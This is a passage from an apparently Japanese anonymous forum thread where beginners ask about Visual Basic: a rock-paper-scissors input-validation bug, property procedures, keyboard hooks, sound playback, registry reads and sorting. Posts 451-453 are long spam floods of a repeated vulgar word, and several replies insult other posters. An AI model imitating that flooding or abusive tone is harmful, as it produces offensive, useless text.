For counter = 1 To 10
com = Int(Rnd * 3)
player = InputBox("ジャンケンポン")
Do While player <> 0 And player <> 1 And player <> 2
If player <> 0 Then
ElseIf player <> 1 Then
ElseIf player <> 2 Then
Else
End If
Loop
MsgBox ("あなたは" & hand(player) & "コンピュータは" & hand(com))
If com = player Then
MsgBox ("あいこです")
drow = drow + 1
ElseIf (com = 0 And player = 2) Or (com = 1 And player = 0) Or (com = 2 And player = 1) Then
MsgBox ("あなたの勝ちです")
win = win + 1
Else
MsgBox ("コンピュータの勝ちです")
lose = lose + 1
End If
Next counter
MsgBox ("勝ち数は" & Str(win) & "負け数は" & Str(lose) & "引き分け数は" & Str(drow))
End
End Sub
0422ヒマつぶし＠自宅
NGNGどんなエラーメッセージが出る？
たぶんそのメッセージ通りだ。
player As Integer ←これだろ？
0423VB厨房
NGNGIf player <> 0 Then
ElseIf player <> 1 Then
ElseIf player <> 2 Then
Else
End If
Loop
このWhile文で、０、１、２以外の数字を入れると抜け出れなくなっている。
おそらくこれは、0から2までの数字を入れるように、促す目的だと思う。
でも、このWhile文がなくても、Cと違って、playerには０が入っている。
ので、一見すんなり動作する。
dim OK as integer
OK = 0
Do
If player <> 0 And player <> 1 And player <> 2 Then
MsgBox "0,1,2の値を入力してください。"
player = InputBox("ジャンケンポン")
Else
OK = 1
End If
Loop Until OK = 1
としてみた、
0424名無しさん
NGNG間に何かを勉強した方がいいんでしょうか？
0425デフォルトの名無しさん
NGNG0426デフォルトの名無しさん
NGNGInputBoxに数字以外が入力されたらどうなるんだよ、バーカ
0427名無しさんTurboC（清涼飲料）
NGNG不可能ではありませんが、VBに比べて手取り足取り教えてくれる
リソース（書籍なりWebサイト等）が少なくなり、何事も自主解決
を求められます。
「自分で頑張ってみよう」という努力があればなんとか乗り
越えられますが、「誰かやってくれないかな～」と他力本願
していると即時に破綻します。
仕事先のVBプログラマは例外なく上のとおりに破綻しました。
0428VB厨房
NGNGうっせーよ、
dim player$
If Asc(player) < 47 Or 50 < Asc(player) Then
0429デフォルトの名無しさん
NGNG0430デフォルトの名無しさん
NGNG0431てぃむぽ綺麗
NGNG0432デフォルトの名無しさん
NGNGおまえ本当にバカだな
本当に中学生なのか？？
player = "1aaa"だったったら
>If Asc(player) < 47 Or 50 < Asc(player) Then
これはどうなるんだ？
0433デフォルトの名無しさん
NGNGやっちゃったね・・・
0434デフォルトの名無しさん
NGNG0435デフォルトの名無しさん
NGNGつまり、クラスモジュールなどに書いたコードから標準コントロールも含めたGUIフォームを生成させたいのですが。
0436デフォルトの名無しさん
NGNGんなことできるわけね～だろ！！
0437デフォルトの名無しさん
NGNG0438VB厨房
NGNGIf Asc(Right(player,1)) < 47 Or 50 < Asc(Right(player,1)) Then
これで、文句ないだろ？
もしくは、取得時に、振り分けろよ、質問してきた奴が
揚げ足してたら、笑えるけど。
（あれはGUIになれていない、プログラムだし）
しかし、さすが２ｃｈ、揚げ足だけは一流だな。
0439VB厨房
NGNG0440デフォルトの名無しさん
NGNGこの後に訂正してるのが笑える。
0441デフォルトの名無しさん
NGNG文句大アリ
InputBoxでなにも入力せずにenter押下されたら？
>しかし、さすが２ｃｈ、揚げ足だけは一流だな。
揚げ足取りっていうか、質問者のソースよりお前のソースの方が
バグ多いよ。
0442デフォルトの名無しさん
NGNG0443デフォルトの名無しさん
NGNG"123"という入力があったら"1"と判定すんのか？
そんなのアリ？？
>>442
使えないワケはない。
っていうかWinAPIをラップしたクラスモジュールって、あちこちに落ちてるじゃん。
宣言はあってるか？
引数をまちがえてないか？
そのへんをチェックしたら。
0444デフォルトの名無しさん
NGNG全国の幼稚園児が待っています！！
0445名無しさんです＠お腹いっぱい。
NGNG凄い人も多いけどね、君のような｢これで、文句ないだろ？｣とか豪語した後で
焦って訂正する厨房も多いのだよ。君だけではない安心しなさい。
0446D使いβ
NGNGすむ話じゃない？VBにはコントロール配列があるはず。それの
Indexプロパティの値使えば？
Private Sub CommandButton1_Click()
Dim counter As Integer, lose As Integer, drow As Integer, win As Integer
Dim com As Integer, player As Integer
Dim InputWork As String
'勝敗数を0に初期化する
Dim hand(2) As String
hand(0) = "グー": hand(1) = "チョキ": hand(2) = "パー"
Randomize Timer
'時計を使って乱数を出しやすくする
'はじめに1回だけ
win = 0: lose = 0: drow = 0
For counter = 1 To 10
com = Int(Rnd * 3)
Do
InputWork = InputBox("ジャンケンポン")
If IsNumeric(InputWork) Then
player = CInt(InputWork)
End If
Loop While (player < 0) Or (2 < player)
MsgBox ("あなたは" & hand(player) & " コンピュータは" & hand(com))
If com = player Then
MsgBox ("あいこです")
drow = drow + 1
ElseIf (com = 0 And player = 2) Or (com = 1 And player = 0) Or (com = 2 And player = 1) Then
MsgBox ("あなたの勝ちです")
win = win + 1
Else
MsgBox ("コンピュータの勝ちです")
lose = lose + 1
End If
Next counter
MsgBox ("勝ち数は" & Str(win) & "負け数は" & Str(lose) & "引き分け数は" & Str(drow))
End Sub
>> 442
恐らくDeclareの前にPrivateが付いていないせいです。というより、
エラーメッセージを良く読みましょう。
0447デフォルトの名無しさん
NGNGplayerは毎回初期化しましょう(^^;
>VBにはコントロール配列があるはず。
ごもっとも
0448デフォルトの名無しさん
NGNG野球拳ゲームに発展させてくれ。
0449デフォルトの名無しさん
NGNGちなみにＣは一通りできます。
0450デフォルトの名無しさん
NGNG勝手にまとめると、
質問者のソースではでは
・数値以外の入力があったらアベンド
・Integerの範囲外の数値が入力されたらアベンド
・小数点以下の入力ま丸められる
・丸めた後の値が1,2,3以外だったら永久ループ
ＶＢ厨房の>>423のソースだと、永久ループは対応したが
それだけ
その後>>428でInputBoxの戻り値を文字列型変数にして
数値以外の入力に対応したが
・２文字目以降の入力は無視
・InputBox関数から空白が返されたらアベンド
を追加
>>438>>439の修正は無意味
>>446のソースではおおむね問題ないが
・Integerの範囲外の数値が入力されたらアベンド
・小数点以下の入力ま丸められる
・初回または前回有効な数値が入力されていた状態で、
数値以外（空白含む）が入力された場合、前回の値が
有効になってしまうとまあ偉そうに書いてみたが、これを書くために過去ログを
見直してみたら>>422で永久ループの事を書き忘れてた事に気がついた。
鬱田死脳
0451デフォルトの名無しさん
NGNGまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
0452デフォルトの名無しさん
NGNGまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
0453デフォルトの名無しさん
NGNGまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
0454D使いβ
NGNGLoop Until (0 <= player) And (player <= 2)
の方がよかったな。それから引き分けはdrawだった。
0455デフォルトの名無しさん
NGNGSortedだとアルファベット順になってしまってうまく出来ません。
何か他に良い方法ありませんか？
0456デフォルトの名無しさん
NGNGない
地道に削除＆追加
0457デフォルトの名無しさん
NGNGそうなんですか？
うーん、やってみます。
ありがとうございました。
0458デフォルトの名無しさん
NGNG0459デフォルトの名無しさん
NGNGソース出さないと完成したことにならんのか？
じゃあ>>446をちょっとだけ改良
Private Sub Command1_Click()
Dim counter As Integer, lose As Integer, draw As Integer, win As Integer
Dim com As Integer, player As Integer
Dim InputWork As String
'勝敗数を0に初期化する
Dim hand(2) As String
hand(0) = "グー": hand(1) = "チョキ": hand(2) = "パー"
Randomize Timer
'時計を使って乱数を出しやすくする
'はじめに1回だけ
win = 0: lose = 0: draw = 0
For counter = 1 To 10
com = Int(Rnd * 3)
Do
InputWork = InputBox("ジャンケンポン")
Loop Until ((StrComp(InputWork, "0") = 0) _
Or (StrComp(InputWork, "1") = 0) _
Or (StrComp(InputWork, "2") = 0)) '文字列として比較
player = Int(InputWork)
MsgBox ("あなたは" & hand(player) & " コンピュータは" & hand(com))
If com = player Then
MsgBox ("あいこです")
draw = draw + 1
ElseIf (com = 0 And player = 2) Or (com = 1 And player = 0) Or (com = 2 And player = 1) Then
MsgBox ("あなたの勝ちです")
win = win + 1
Else
MsgBox ("コンピュータの勝ちです")
lose = lose + 1
End If
Next counter
MsgBox ("勝ち数は" & Str(win) & "負け数は" & Str(lose) & "引き分け数は" & Str(draw))
End Sub
0460デフォルトの名無しさん
NGNG全てのガンは、実はInputBoxを使わせているところにあって
(つまりインターフェース設計上の不良だな)
素直に「グー」「チョキ」「パー」というボタンを押させるという
インターフェースであれば、ユーザーにとって分かりやすい上に、
今までのような下らない問題の発生する余地が無かった筈なのだ。
俺ならこのような仕様を提示されたら、まずそれを直させるな。
0461デフォルトの名無しさん
NGNG0462デフォルトの名無しさん
NGNG仕事だったらそうするけど、初心者の練習問題じゃん。
それに使い勝手は悪いけど、実現困難って仕様じゃないし。
っていうか、こんなの直せないようなヤツはゴミ。
匿名掲示板だから軽い気持ちで書くんだろうけど、解答として出した
ソースがバグってるのはみっともないぞ。
もちろん初心者質問スレだから初心者っぽい質問はかまわないが
解答者まで初心者である必要はないだろ。
0463VB名無しさん
NGNGC#のつもりで
Public Class Hoge
Public Shared Sub Main(args As String())
．．．
とやったら怒られてしまいました。
もしかして、VBではできないのでしょうか．．．。
0464デフォルトの名無しさん
NGNG漏れもそれでずいぶん悩んだ。
引数ありのMainはどうやらだめらしい。
EnvironmentクラスのGetCommandLineArgs()というのを使いなされ。
0465デフォルトの名無しさん
NGNGくださいませんか？
0466デフォルトの名無しさん
NGNGint main(void)
{
printf(">>465\n");
printf("スレ違い。逝ってよし！！\n");
return 0;
}
0467VB名無しさん
NGNG激しく感謝！！！できました。
Imports System
Public Class Hoge
Public Shared Sub Main()
Dim args As String() = Environment.GetCommandLineArgs
Dim s As String
For Each s In args
Console.WriteLine(s)
Next
End Sub
End Class
0468名無しさんはプログラマー
NGNG0469デフォルトの名無しさん
NGNGスタイルを使わないので消したいのです。
どうすればいいのですか？
0470デフォルトの名無しさん
NGNGどちらの子かわかりません。
#しかし基本的シンタックスは変わらんのな～。
0471デフォルトの名無しさん
NGNGもう { } 付けてもアレと変わらんやん･･･
0472
NGNG0473デフォルトの名無しさん
NGNGいっそのこと{}もつければよかったのに。
VBあんま使わんけど"Endなんとか"気持ち悪い。
0474名無しでGO!
NGNGＶＢＡでUSERFORMを複数つくた時に、USERFORM間の変数の共有ってどうやれば
よろしいのでしょうか？？
0475デフォルトの名無しさん
NGNGキーボードを押したときイベントを取れるようにしたくて
（翻訳ソフトでF12押したら翻訳はじめるようなやつ）
色々調べて、以下のようなコードまでは出来たのですが
行き詰まってます。
Public Const WH_KEYBOARD = 2
Public Const VK_ESCAPE = &H1B
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, LPARAM As Any) As Long
Public Declare Function GetLastError Lib "kernel32" () As Long
Public Type LARGE_INTEGER
lowpart As Long
highpart As Long
End Type
'フックハンドル
Public hHook As Long
Public Function KeyboardProc(ByVal code As Long, ByVal wParam As Long, LPARAM As LARGE_INTEGER) As Long
CallNextHookEx hHook, code, wParam, LPARAM
If wParam = VK_ESCAPE Then
'処理
End If
End Function
Public Sub SetHook()
'フック設定
hHook = SetWindowsHookEx(WH_KEYBOARD, AddressOf KeyboardProc, 0, 0)
If hHook = 0 Then
hHook = GetLastError()
'エラー時処理
End If
End Sub
SetWindowsHookExで、ハンドルが返ってくるはずですが
０が返ってきて成功しません。
次の、GetLastErrorも０が返ってきてよくわかりません。
なんか、根本的に間違っているのでしょうか？
誰か、助けてください。お願いします。
0476デフォルトの名無しさん
NGNGMSDN曰く
システムフックは共有リソースなので、インストールすると
すべてのアプリケーションに影響を与えます。
システムフック関数は、ダイナミックリンクライブラリ (DLL) 内に
置かなければなりません。
MSDNは「システムフック」を明確に定義していないように見えるが、
文脈からいって、dwThreadIdに0を指定したものを指す。
それとKeyboardProcの最後の引数はLARGE_INTEGER
じゃないんじゃないか？
0477デフォルトの名無しさん
NGNGよく読み直してみると、その通り書いてありました。
すいません。ありがとうござます。
はぁ、そっか、もっと簡単に出来ると思ったけどな
残念。
0478デフォルトの名無しさん
NGNGフックなんて使わないでHotkeyを登録すれば？ESCが使えたか忘れたけど
0479デフォルトの名無しさん
NGNG0480デフォルトの名無しさん
NGNG（早い話がシンセみたいなのを作りたい）
0481デフォルトの名無しさん
NGNG本当でしょうか？
0482名無しさんi486
NGNGよくわからんが、"proparty let"と"proparty get"使えばできるぞ。
俺はフォーム同士でデータを受け渡す時は、これを使っている。
0483デフォルトの名無しさん
NGNG0484482
NGNGそこは自分に必要な方でやってくれ。
0485482
NGNGなんでもかんでも、Publicで宣言するな！ばかちん！
0486デフォルトの名無しさん
NGNGどうやれば良いんですかね？
0487482
NGNGMicrosoft Comm Controlを使えばできると思う。
詳細はMSDNで調べてね。
0488>>480
NGNG適当なサイン波でも用意して，SetFrequancyかな．
0489デフォルトの名無しさん
NGNGSetメソッドは
Set hoge = hage
って構文で使いたい時だけだったよね？ばかちん！
それからPropertyだよね？ばかちん！
0490482
NGNGちがうやい！ばかちん！
setはProperty setって使ってくれって意味で書いたんだい！
スペルミスはすまん。俺がばかちん！
0491デフォルトの名無しさん
NGNGProperty Setで宣言したプロパティは
Set hoge = hage
って構文で使いたい時に使うから普段の
hoge = hage
の時はLetでいいんだよ。
当然引数もSetはByRefでな。
0493デフォルトの名無しさん
NGNG俺はあやまる必要ないのではないだろうか？
0494デフォルトの名無しさん
NGNG0495デフォルトの名無しさん
NGNG知識ではある。書き方もすっきりするし。
(ところでLetはどこいった？Valueは予約語になるのか？)
http://www.microsoft.com/japan/developer/vstudio/nextgen/technology/vb6tovbdotnet.asp
#しっかしいっくらコンバータ用意してもゼッテー混乱するヨナー。
#VBAは関係ないと思ってたらこんなものまで・・・ヤメテクレー！
http://www.zdnet.co.jp/news/0101/17/e_vsa.html
0496デフォルトの名無しさん
NGNGなるほど、VB.NETではそうなるのか～
ステートメントが１つになるから、いいんじゃない？
俺は気に入ったけど。
0497480
NGNGどうもありがとございます
やっぱDirectX使わなくてはいけなのかなあ
なるべくランタイム減らす方針で行きたい場合の良い方法あれば御教授ください
0498名無しさんi486
NGNGありませんでしょうか。Tips教えるサイト見てもなかなか理解できないもので…。
0499498
NGNG0500498
NGNGa = PlaySound("c:\winnt\media\chattag.wav", 0, SND_ASYNC Or SND_LOOP)
End Sub
と書いたのですがループされてくれません。何故なのでしょうか？
0501デフォルトの名無しさん
NGNGちゃんとループするぞ！、しかもプログラム終了してもとまらないじゃないかゴラァ！
0502デフォルトの名無しさん
NGNGＶＢってそういう書き方で良いのか？
楽だな～
ＶＣだと c:\\winnt\\media\\chattag.wav って書かないと逝けないんだけど。
0503デフォルトの名無しさん
NGNG0504500
NGNG貼っただけです。
あと\ではなく/でもできるのですね。
とりあえず過去ログとお勉強サイト廻ってみますね。
0505デフォルトの名無しさん
NGNGサーバはApacheです。
0506デフォルトの名無しさん
NGNGもしくは
Inet1.URL = "http://www.hogehoge.com";
Inet1.UserName = "username"
Inet1.Password = "password"
#ホントか～！？
0507デフォルトの名無しさん
NGNG0508デフォルトの名無しさん
NGNGCall m_dsBuffer.Play(0) でループしないで再生するように宣言したのですが何故かループしてしまいます。
何故ですか？
解決方法を教えて下さい。
0509デフォルトの名無しさん
NGNGDirectXの事で質問させてください。
Directｘのゲームを作ってるのですがゲームが進行してクリアー、ゲームオーバー時にタイトル画面に
戻る方法ってどうやったらいいんでしょうか？
Do...loopで大きなループ文を作ろうとしてもうまくいきません。
Directｘを最初の状態まで持っていける方法とかあったらいいんですけど。
（リフレッシュみたいなの。）
0510デフォルトの名無しさん
NGNGDirectXの事で質問させてください。
Directｘのゲームを作ってるのですがゲームが進行してクリアー、ゲームオーバー時にタイトル画面に
戻る方法ってどうやったらいいんでしょうか？
Do...loopで大きなループ文を作ろうとしてもうまくいきません。
Directｘを最初の状態まで持っていける方法とかあったらいいんですけど。
（リフレッシュみたいなの。）
0511デフォルトの名無しさん
NGNG0512sine
NGNGごめんで済んだら警察イランのじゃっていうのとおんなじ。
調べろですんだら掲示板いらんのじゃ。
調べた？とかいってんならその場でスパッと教えなさい。
どあほう。
0513デフォルトの名無しさん
NGNGまぁまぁ落ちついて。
一発抜いてきなよ！
0514名無しさんi486
NGNGテトリスを作っていて、PictureBoxにマス目を書いて
そこにFloodfillで塗りつぶしているのですが処理落ちして
しまいます。
いい方法ないでしょうか？
0515ちょい疑問
NGNGエラーの文章は
「同じプロパティに対するプロパティ プロシージャの定義が一致していません。または省略可能なパラメータ、ParamArray が含まれています。」
です。
以下がそーすです。
Private Type HtmlSection
Section_StartPoint As Integer
Section_EndPoint As Integer
Section_Data As String
Section_No As Integer
Section_EditFlag As Boolean
End Type
'/*プロパティ値のプライベート記憶域
Private mHTMLSEC() As HtmlSection
Private mTagCount As Integer
'*/
Public Property Get SECdata(ByVal i As Integer) As String
SECdata = mHTMLSEC(i).Section_Data
End Property
'/*ここから
Public Property Set SECdata(ByVal i As Integer, VALUE As String)
'ここまで*/
mHTMLSEC(i).Section_Data = VALUE
End Property
Property Letにするとエラーなしで通るのですがなぜ？？
クラスモジュールの作成に関してまだ初心者なのでProperty Set とProperty Letの違いってなんでしょうか？MSDN見てもいまいち分からなくて…
とりあえずLetを使いましたが、Setだとなぜエラーが出たのでしょうか？
0516ちょい疑問
NGNG動いているテトリスに関してはシェイプなどのコントロールを使ったほうがよいのではと考えました。
何しろ描画が以上に早いので、
LINEDDなんとかとかいうAPIを使って高速に描画したりもできますけど、テトリスぐらいなら、前述の方法で行なう方がよいと思われます。
たしかその方法で私も作りました。(^_^)
0517ちょい疑問
NGNG誤>何しろ描画が以上に早いので
正>何しろ描画が異常に早いので
0518デフォルトの名無しさん
NGNGＭＳＤＮより簡単に説明しろってか、難しいね（笑）
Property Let はあなたが使っている通り、プロパティに値を
設定するために使います。
Property Set はオブジェクトのインスタンスへの参照を設定
するために使います。
値を取得するのは、どちらもProperty Get
たとえば
Public Property Set SetData(buf As Object)
となっていれば
Set ObjOfYourClass.SetData = buf;
のように、buf（なんかオブジェクト）への参照を設定
するためのメソッドを作るために使います。
つか、これが使えてこそオブジェクト指向。
この意味が分からないなら、クラスを使う意味なしでーす。
（こんな事いったら、またイラン煽りうけそう）
0519デフォルトの名無しさん
NGNGC:\WINDOWS\レッド タイル.bmpなどと入力して、コマンドボタンをクリックすると
指定したファイルがウインドウズで関連付けされたアプリケーションで開くよう
にしたいのですが（出来れば実行ファイルがあるフォルダからの相対アドレスで）
どのようにしたらよいのでしょうか？
すいませんが教えてください。
0520デフォルトの名無しさん
NGNGShellExecute
0521デフォルトの名無しさん
NGNG0522デフォルトの名無しさん
NGNGあそこは自分を正常だと思ってる基地外が多すぎる。
0523デフォルトの名無しさん
NGNG0524514
NGNGなるほど、使わせていただきたいところですが
もう殆どやってしまいました。
細かいところやりながら挑戦してみるつもりです。
0525ちょい疑問
NGNGありがとうございました。
なんとか理解しました。
>524
>もう殆どやってしまいました。
とありますけど、ほとんど完成しているっていうことでしょうか。
じつはそうかなーとは思っていたのですが,コメントさせていただきました。
時間をかけて作ったソースを捨てるのはつらいものです。
ただ、時には1から作りなおした方がよい時もありますよ。（仕事以外のプログラムであればその方が勉強になることも…）
でも、やれる所までやるのも楽しいですね。頑張ってください。
0526赤子
NGNGアレがプログラマ的デザイン能力の欠如と言う奴の典型ですか
おかげでサッパリ標準関数すら覚えられません
0527デフォルトの名無しさん
NGNG0528519
NGNGどうもＭＳＤＮやインターネットで使い方を見ながらやってみます
0529デフォルトの名無しさん
NGNGあとコントロールがPictureBoxの中に入ったり出たりします。よくわかりません。
0530529
NGNGコントロールを右クリックしてレイヤーの前面背面のようにやればよいのですね。
しかしいかんせんPictureBoxの中に入るか入らないかのやり方はわかりません。
0531デフォルトの名無しさん
NGNG0532529
NGNG0533デフォルトの名無しさん
NGNG0534ちょい疑問
NGNG質問の意味がいまいち分からないけれど
Exit function
Exit sub
Doevents入れまくって、
タイマーで割り込みなど…
ってかんじでしょうか。
もしこれで答えになっていなかったら誰かフォローよろしく(^o^)
0535532
NGNG0536デフォルトの名無しさん
NGNG0537名無しさん
NGNG力を貸していただきたいのですが。
0538デフォルトの名無しさん
NGNG・バブル ソート
・セレクション ソート
・シェル ソート
でシェル ソートが一番速いって書いてありますが、
・バブル ソート、セレクション ソートが優位な状況って
どんな時ですか？
0539デフォルトの名無しさん
NGNGCPUの性能がいい時代に、あまり関係ありません
0540デフォルトの名無しさん
NGNGアルゴリズムとデータ構造の選択によってはスピードに数万倍以上差が出る事もあるぞ。
0541540
NGNG0542デフォルトの名無しさん
NGNGどれも遅いソートです
0543539
NGNG0544デフォルトの名無しさん
NGNG0545ちょい疑問
NGNGクイックソート
ヒープソート（ん、用途から考えると違うかな）
これらが早い
クイックソートがお奨めです。
>543
いますよ。がっこの先生とか（笑）
他にもいます。VBしか知らない人とか。その中でオプティマイジングするのは当然でしょ。
自分で公開したソースがバブルソートでソートされてたら素人っぽくて情けないでしょう。
ちょっと見栄はってクイックソートになおした方がいいじゃないですか。
どこを直しましたか？って言われた時ちゃんと高速化の理屈がつくじゃないですか。
たとえバグで遅かったとしても…
>538
シェルソートや他の高度なソートはソースが一発で見て分かりにくい。
バブルソートは分かりやすい事が特徴。
少ないデータのソートを行なう時はシェルソートなんか使いません。
ソースが分かりにくくなるだけだから。
（っていうか私だって高速ソートを空では言えません。言える人はすごいですね。）
速くしたいときは参考書とかMSDNとか眺めながらクイックソートを使い、考えている時はバブルかな。
ある程度勉強したらどっちも関数にまとめとけばOKです。
0546デフォルトの名無しさん
NGNG>速くしたいときは参考書とかMSDNとか眺めながらクイックソートを使い、考えている時はバブルかな。
>ある程度勉強したらどっちも関数にまとめとけばOKです。
このあたり、あんまり現実に即したアドバイスじゃないな。
VBはどうだか知らないけど、大抵の環境だとソートはライブラリを呼び出すだけ。
ソートの処理を自分で書くことなんてほとんどない。
>（っていうか私だって高速ソートを空では言えません。言える人はすごいですね。）
どうでもいいけど、アルゴリズム本なんかでソートを勉強してれば
クイックソートくらい空で書けるでしょ。
0547デフォルトの名無しさん
NGNGどのようなコードを書けばよろしいのでしょうか？
どなたかご存知の方、教えて頂けませんでしょうか？
0548デフォルトの名無しさん
NGNG(ﾟДﾟ)ハァ？
http://piza.2ch.net/test/read.cgi?bbs=tech&key=975576060&st=374&to=376&nofirst=true
0549デフォルトの名無しさん
NGNG５秒後にOKをクリックした状態でメッセージボックスを自動的に終了するには
どのようにしたら宜しいのでしょうか？
0550デフォルトの名無しさん
NGNGソフトウェアのセットアップのように画面の下に「次へ」や「戻る」のコマンドボタン
があって、画面上部のほうにテキストボックス等を配置して、「次へ」を押すたびに
上部だけ切り替えていくにはどのようにやったらよいのでしょうか
0551デフォルトの名無しさん
NGNG自分は今まで100でしたが33にしてみました。
0552デフォルトの名無しさん
NGNGフレームでくくっとくとかして
0553デフォルトの名無しさん
NGNGページコントロール
0554デフォルトの名無しさん
NGNGAPIビューアで出てこないんですけど、全部自分で考えて書けってことですか？
0555デフォルトの名無しさん
NGNG0556デフォルトの名無しさん
NGNGWSHのコンポーネントでタイマー付きMsgBoxが提供されていたりする...
0557名無しさんi486
NGNGtimeGetTimeよりQueryPerformanceCounterを使ったほうが精度が高いと教えて
もらったんですが、その時にOSのオーバヘッド部を削る処理をしないと正確じゃ
ないって言われたんですけど、その処理は難しいのでしょうか？
0558デフォルトの名無しさん
NGNGどこが悪いのでしょうか？
strRootKey･･･HKEY_LOCAL_MACHINE
strSubKey･･･SOFTWARE\a
strEntry･･･hoge
-------
lngnSize = 1024
strData = String(lngnSize, 0)
'KeyOpen
lngRet = RegOpenKeyEx(strRootKey, strSubKey, 0, KEY_READ, lngHandle)
If lngRet <> ERROR_SUCCESS Then Exit Function
'QueryRead
lngRet = RegQueryValueEx(lngHandle, strEntry, 0, REG_SZ, strData, lngnSize)
If lngRet <> ERROR_SUCCESS Then Exit Function
------
lngRet = RegQueryValueEx･･･実行時に"***を参照しましたがReadになれませんでした"
で終了してしまいます。
0559558
NGNGRegQueryValueEx(lngHandle, strEntry, 0, REG_SZ, ByVal strData, lngnSize)
0560デフォルトの名無しさん
NGNG0561普通のOL
NGNGVBでは無理ですかね?
C何ですかね?
0562デフォルトの名無しさん
NGNG0563VB初心者以前
NGNGメッセージによると、どうやらメモリの内容をぶち壊してるらしいんだが、
問題の端末を持ち帰って、開発環境のネットワークに接続してもまったく再現されず。
周りのVB使いをつかまえて聞いてみたところ、「根本的解決にならないけど、
